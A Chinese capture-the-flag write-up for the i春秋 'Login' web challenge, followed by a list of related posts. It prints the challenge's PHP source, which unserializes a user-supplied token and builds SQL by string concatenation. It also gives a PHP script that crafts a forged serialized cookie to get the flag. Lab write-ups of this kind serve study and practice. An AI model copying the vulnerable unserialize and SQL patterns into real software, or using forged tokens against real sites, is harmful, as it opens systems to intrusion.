打开是个很普通的登录网页

查看源码看看有没有东西

找到绿色的提示,可能是账号密码,试试

成功进来了,再右键源码,没东西。。。抓包试试,传repeater里go一下

发现一个奇怪的变量,在request中传入其他值试试

show:1

Go一下,弹出一堆flag获取信息

<?php

include 'common.php';

$requset = array_merge($_GET, $_POST, $_SESSION, $_COOKIE);

class db

{

public $where;

function __wakeup()

{

if(!empty($this->where))

{

$this->select($this->where);

}

}

function select($where)

{

$sql = mysql_query('select * from user where '.$where);

return @mysql_fetch_array($sql);

}

}

if(isset($requset['token']))

{

$login = unserialize(gzuncompress(base64_decode($requset['token'])));

$db = new db();

$row = $db->select('user=\''.mysql_real_escape_string($login['user']).'\'');

if($login['user'] === 'ichunqiu')

{

echo $flag;

}else if($row['pass'] !== $login['pass']){

echo 'unserialize injection!!';

}else{

echo "(╯‵□′)╯︵┴─┴ ";

}

}else{

header('Location: index.php?error=1');

}

?>

大概php代码的意思是,包含common.php文件,将$_GET, $_POST, $_SESSION, $_COOKIE放入一个数组中,再定义了一个类然后是一个if判断,如果$requset['token']存在就执行,在if里面login是是序列化的压缩的($requset['token'])base64解码

db为class db,然后row的值为db中user的输入,如果login[‘user’]变量的值与类型等于ichunqiu就输出flag,此外如果row不全等与login[‘pass’]就输出unserialize injection!!,否则输出echo "(╯‵□′)╯︵┴─┴ ";

所以这里没有什么复杂的判断就让login[‘user’]全等于ichunqiu就行了

而login[‘user’]是经过加密的,这里我们就自己写一个解密php就行了

<?php
$a = array('user'=>'ichunqiu');
$a = base64_encode(gzcompress(serialize($a)));
echo $a
?>

然后在本地运行一下,出现我们需要的user

eJxLtDK0qi62MrFSKi1OLVKyLraysFLKTM4ozSvMLFWyrgUAo4oKXA==

最后有两种方法传入token的值

一:打开firefox浏览器,使用其cookie editor插件,新增一个cookie,其名为token,其值为上面的一长串,然后保存,刷新

得到flag

flag{f3ac41fd-885a-433a-a6ae-87c25ce3e0d2}

二:使用bp传入

在Proxy中写入cookie的补充值token然后传入repeater,补上show:1,go一下出现flag

注:最近i春秋平台老是出现flag错误的回报,明明是正确的,这里就需要多次尝试,或则重新创建题目

i春秋Login的更多相关文章

  1. i春秋 百度杯”CTF比赛 十月场 login

    出现敏感的信息,然后进行登录 登录成功发现奇怪的show 然后把show放到发包里面试一下 出现了源码,审计代码开始 出flag的条件要user 等于春秋 然后进行login来源于反序列化后的logi ...

  2. i春秋——“百度杯”CTF比赛 十月场——Login

    根据页面源码提示的 test1 test1 登录 刷新此页面并抓包,有个show=0值得关注 在发送的包的header中加一句show:1,即可得到member.php的源码 <?php inc ...

  3. i春秋-“百度杯”CTF比赛 十月场-Login

    源码发下提示 尝试登陆 得到个什么鬼, 但是相应包里发现个可疑的东西   //  CTF中的0 和1 这些一般都有套路的 然后在请求头里 改为 1 ##代码审计来了..   分析了半天 后来看了别人的 ...

  4. i春秋url地址编码问题

    i春秋学院是国内比较知名的安全培训平台,前段时间看了下网站,顺便手工简单测试常见的XSS,发现网站搜索功能比较有意思. 其实是对用户输入的内容HTML编码和URL编码的处理方式在这里不合理,提交到乌云 ...

  5. python-i春秋验证码识别

    i春秋作家:hlpureboy python+机器学习+验证码识别+源码 简单介绍 最近在写某网站的自动注册,在注册的过程中遇到一些问题,如js的执行.验证码的识别等等,今天给大家如何用python通 ...

  6. CTF-i春秋网鼎杯第四场部分writeup

    CTF-i春秋网鼎杯第四场部分writeup 因为我们组的比赛是在第四场,所以前两次都是群里扔过来几道题然后做,也不知道什么原因第三场的题目没人发,所以就没做,昨天打了第四场,简直是被虐着打. she ...

  7. 浅谈SQL注入风险 - 一个Login拿下Server

    前两天,带着学生们学习了简单的ASP.NET MVC,通过ADO.NET方式连接数据库,实现增删改查. 可能有一部分学生提前预习过,在我写登录SQL的时候,他们鄙视我说:“老师你这SQL有注入,随便都 ...

  8. 打开程序总是会提示“Enter password to unlock your login keyring” ,如何成功关掉?

    p { margin-bottom: 0.1in; line-height: 120% } 一.一开始我是按照网友所说的 : rm -f ~/.gnome2/keyrings/login.keyrin ...

  9. Day01 login module

    知识点:模块导入  变量赋值的两种形式  格式化输出  for循环  if...else 嵌套 #!C:\Program Files\Python35/bin # -*- conding:utf-8 ...

  10. Login控件尝试

    新建web项目,添加default.aspx.Register.aspx.Login.aspx. default.aspx中添加LoginName.LoginStatus,LoginName的Form ...

随机推荐

  1. 发现tab换成空格不起作用,然后解决如下。

    今天发现把 .vimrc 加了set expandtab之后不起作用,这个本来是把代码中的制表符换成空格,免得不同人的设置不同造成代码缩进混乱. 然后搞了半天搞不定,应该是加载了.vimrc之后又加了 ...

  2. Git Bash(提交文件到GitHub进行托管)

    ​ Introduction 使用Git Bash命令,可以将一个项目上传到Github官网中,进行托管,避免重要文件被误删 1.Git工具下载 Git for Windows 2.在github中新 ...

  3. python一招完美搞定Chromedriver的自动更新

    日常的web自动化过程中,我们常常用python selenium库来操纵Chrome浏览器实现网页的自动化.这其中有个比较头疼的问题:Chrome的更新频率非常频繁,与之对应的Chromedrive ...

  4. 使用kuboard部署某一个应用的pod分布于不同的主机上

    情况介绍 1.k8s集群有8个节点,3个节点是master,分别是master1,master2,master3. 5个worker节点,分别是worker1,worke2,worke3,worker ...

  5. CentOS6 配置阿里云 NTP 服务

    本文以Centos 6.5为例介绍如何修改Linux实例时区,以及开启和配置Linux NTP服务,保证实例本地时间精确同步. 前提条件 NTP服务的通信端口为UDP 123,设置NTP服务之前请确保 ...

  6. 在k8s集群中安装traefik,并结合kuboard界面使用

    安装traefik 参考步骤:https://blog.51cto.com/u_13760351/2764008?xiangguantuijian&01 修改好的四个yaml文件下载地址:ht ...

  7. 浏览器的 JavaScript 控制台功能调试vue

    原始显示结果: 调试其中一个变量的值: 页面上呈现出调试后的效果了

  8. Prometheus自身的监控告警规则

    1.先在 Prometheus 主程序目录下创建rules目录,然后在该目录下创建 prometheus-test.yml文件,内容如下: 内容很多,可以根据实际情况进行调整. 规则参考网址:http ...

  9. [题解] Topcoder 15279 SRM 761 Div 1 Level 3 SpanningSubgraphs DP,容斥

    题目 考虑DP.\(f(msk,i)\) 表示集合 \(msk(一定包含0号点)\) ,选了恰好i条边的连通方案数.转移用容斥,用这个点集内部所有连边方案减去不连通的.令\(|e_{msk}|\)表示 ...

  10. 洛谷P3391 文艺平衡树 (Splay模板)

    模板题. 注意标记即可,另外,涉及区间翻转操作,记得设立首尾哨兵. 1 #include<bits/stdc++.h> 2 using namespace std; 3 const int ...